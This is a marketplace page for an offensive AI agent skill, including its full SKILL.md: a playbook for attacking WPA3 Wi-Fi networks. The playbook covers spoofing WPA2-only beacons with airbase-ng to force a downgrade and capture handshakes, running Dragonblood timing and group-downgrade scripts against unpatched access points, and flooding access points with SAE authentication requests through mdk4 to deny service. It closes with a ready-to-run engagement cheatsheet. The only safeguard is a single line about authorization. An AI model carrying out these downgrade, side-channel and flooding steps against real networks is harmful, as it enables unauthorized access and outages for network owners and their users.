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Offensive Wpa3 Sae

CommunityPopular
SnailSploit
offensive-wpa3-sae

WPA3 / SAE (Simultaneous Authentication of Equals) attack methodology — transition-mode (mixed WPA2/WPA3) downgrade, Dragonblood side-channel attacks (CVE-2019-9494, 9495, 13377, 13456), SAE auth flooding for AP CPU exhaustion, Hash-to-Element (H2E) timing analysis, group downgrade, and 6 GHz / Wi-Fi 6E spec implications (PMF mandatory, no transition mode allowed). Use when target advertises WPA3-SAE or WPA3-Personal/Enterprise, or operates in 6 GHz where WPA3 + PMF are required by spec.

Overview

PublisherSnailSploit
RepositoryClaude-Red
Skill nameoffensive-wpa3-sae
Stars
7.4K
Forks
967
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by SnailSploit on GitHub. Read the source before you install it.

Installation

Install the Offensive Wpa3 Sae AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/SnailSploit/Claude-Red/tree/main/Skills/wireless/offensive-wpa3-sae
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p .claude/skills
cp -r /tmp/Claude-Red/Skills/wireless/offensive-wpa3-sae .claude/skills/offensive-wpa3-sae
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Offensive Wpa3 Sae in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Offensive Wpa3 Sae on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Offensive Wpa3 Sae is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

WPA3 / SAE Attacks

WPA3 fixes the offline-handshake-cracking weakness of WPA2 by replacing the 4-way PSK exchange with SAE (a Dragonfly-derived password-authenticated key exchange). The straightforward offline crack disappears — but transition-mode misconfigurations and the original SAE implementation's side-channel leaks open new paths.

Quick Workflow

  1. Verify the target advertises WPA3 (RSN IE shows AKM SAE = 8)
  2. Check for transition-mode (mixed WPA2 + WPA3) — easiest path
  3. If pure WPA3, fingerprint the AP's hostapd version for Dragonblood applicability
  4. Side-channel timing or cache attacks if reachable
  5. Otherwise, accept that offline cracking isn't viable — pivot to other surfaces

Transition-Mode Downgrade

If the AP advertises both WPA2-PSK and WPA3-SAE (transition mode for mixed-client networks), older clients can be forced onto WPA2:

bash
# Identify transition mode in beacon frames
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# Encryption column shows WPA2 WPA3 (both)

Steps:

  1. Spoof a beacon advertising only RSN-WPA2 with the same BSSID/SSID
  2. Client roams to your beacon, performs WPA2 4-way handshake
  3. Capture handshake exactly like offensive-wpa2-psk
bash
# Use hostapd-mana or airbase-ng for the WPA2-only AP advertisement
airbase-ng -e CorpWiFi -c 6 -W 1 wlan0mon
# -W 1 enables WPA, configure for WPA2-only RSN element

Why this works: WPA3-SAE clients fall back to WPA2-PSK if the AP only advertises WPA2 — there's no protected downgrade defense in transition mode. WPA3-only mode (no transition) blocks this.

Mitigation defenders use: WPA3-only networks (no WPA2). Wi-Fi 6E (6 GHz) mandates WPA3-only by spec.

Dragonblood (CVE-2019-9494 / 9495 / 13377 / 13456)

Side-channel and downgrade attacks against the SAE Hunting-and-Pecking algorithm in pre-2.10 hostapd / wpa_supplicant.

Cache-Based Side-Channel

The original SAE password-element derivation iterates a variable number of times depending on the password and MAC. Cache hits leak the iteration count.

bash
git clone https://github.com/vanhoefm/dragonblood
cd dragonblood

# Cache-based attack (requires co-located malicious code on target host — limited)
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon

Timing Side-Channel

The same iteration count leaks via observable timing of the SAE commit phase from outside.

bash
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon --mode timing

Downgrade to Weak Group

Some implementations accept SAE with the deprecated MODP group 5 if the client requests it. Combined with cache/timing side channels, this enables offline dictionary attack.

bash
python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF

Patched Versions

ImplementationFixed
hostapd / wpa_supplicant2.10 (April 2022)
Apple iOS / macOS2019 patches
WindowsKB-batched 2019-2020
Embedded routersOften unpatched — high hit rate on consumer SOHO

Hash-to-Element (H2E)

WPA3 R2 introduced H2E to replace the iteration-leaky Hunting-and-Pecking. H2E is constant-time. If the AP advertises H2E in the RSNXE element, Dragonblood-class attacks don't apply.

bash
# Wireshark filter
wlan.rsnx.field.h2e

If H2E is present and required (no Hunting-and-Pecking fallback), only the spec is left to attack — abandon SAE attacks and pivot to other surfaces (PMF check, evil-twin via EAP if Enterprise, supply-chain via management frames).

SAE Auth Flooding (DoS)

SAE's commit phase requires the AP to do heavy elliptic-curve work per association attempt. Floods can exhaust CPU on lower-end APs, denying service to legitimate clients.

bash
sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024
# Auth attack mode -a, multiple per second -s 1024

This is a DoS — only with explicit authorization. Modern enterprise APs use anti-clogging tokens to throttle SAE-flood attacks; consumer routers often don't.

6 GHz / Wi-Fi 6E Implications

The 6 GHz band (Wi-Fi 6E, channels 1–233 in the 5925–7125 MHz range) requires:

  • WPA3-only (no transition mode)
  • PMF (802.11w) mandatory (deauth/disassoc protected)
  • OWE (Opportunistic Wireless Encryption) for open networks

Net effect: most pre-WPA3 attacks (deauth, transition-mode downgrade) don't apply on 6 GHz. Pure SAE side-channel, evil-twin, or out-of-band attacks remain viable.

Detection Considerations

WPA3 is enterprise-defended much like WPA2 — WIDS catches:

  • Beacon spoofing (transition-mode downgrade) via fingerprint mismatch (IE order, vendor-specific, beacon timing)
  • SAE flood via association rate per source MAC
  • Repeated SAE commit failures (timing attack telemetry)

Successful Dragonblood-class attacks against patched modern hostapd are unlikely. Consumer SOHO and embedded APs are still in scope.

Engagement Cheatsheet

bash
# 1. Identify mode
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# Encryption: WPA2 + WPA3 → transition; WPA3-only → SAE-only

# 2. Transition-mode downgrade attempt
sudo airbase-ng -e <ESSID> -c <ch> -W 1 -z 4 wlan0mon  # WPA2-RSN advertised only

# 3. Wait for client roam, capture WPA2 handshake (handoff to offensive-wpa2-psk)

# 4. If pure WPA3, fingerprint hostapd
# (passive analysis of beacon IE order + version-specific behaviors)

# 5. Run Dragonblood test scripts if pre-2.10 hostapd suspected
python3 dragondrain.py wlan0mon <BSSID>
python3 dragontime.py --bssid <BSSID> --iface wlan0mon

# 6. Document residual viable attacks; pivot to evil-twin / EAP / RF if pure WPA3 R2

Key References

Frequently asked questions

What does the Offensive Wpa3 Sae AI skill do?

WPA3 / SAE (Simultaneous Authentication of Equals) attack methodology — transition-mode (mixed WPA2/WPA3) downgrade, Dragonblood side-channel attacks (CVE-2019-9494, 9495, 13377, 13456), SAE auth flooding for AP CPU exhaustion, Hash-to-Element (H2E) timing analysis, group downgrade, and 6 GHz / Wi-Fi 6E spec implications (PMF mandatory, no transition mode allowed). Use when target advertises WPA3-SAE or WPA3-Personal/Enterprise, or operates in 6 GHz where WPA3 + PMF are required by spec.

Why use Offensive Wpa3 Sae on TypingMind?

Because you install it once and use it with any model. Offensive Wpa3 Sae is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Offensive Wpa3 Sae in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/SnailSploit/Claude-Red/tree/main/Skills/wireless/offensive-wpa3-sae. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Offensive Wpa3 Sae?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Offensive Wpa3 Sae?

As many as you like. As long as a model supports skills, you can use Offensive Wpa3 Sae with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Offensive Wpa3 Sae AI skill free?

Yes. It is published on GitHub by SnailSploit under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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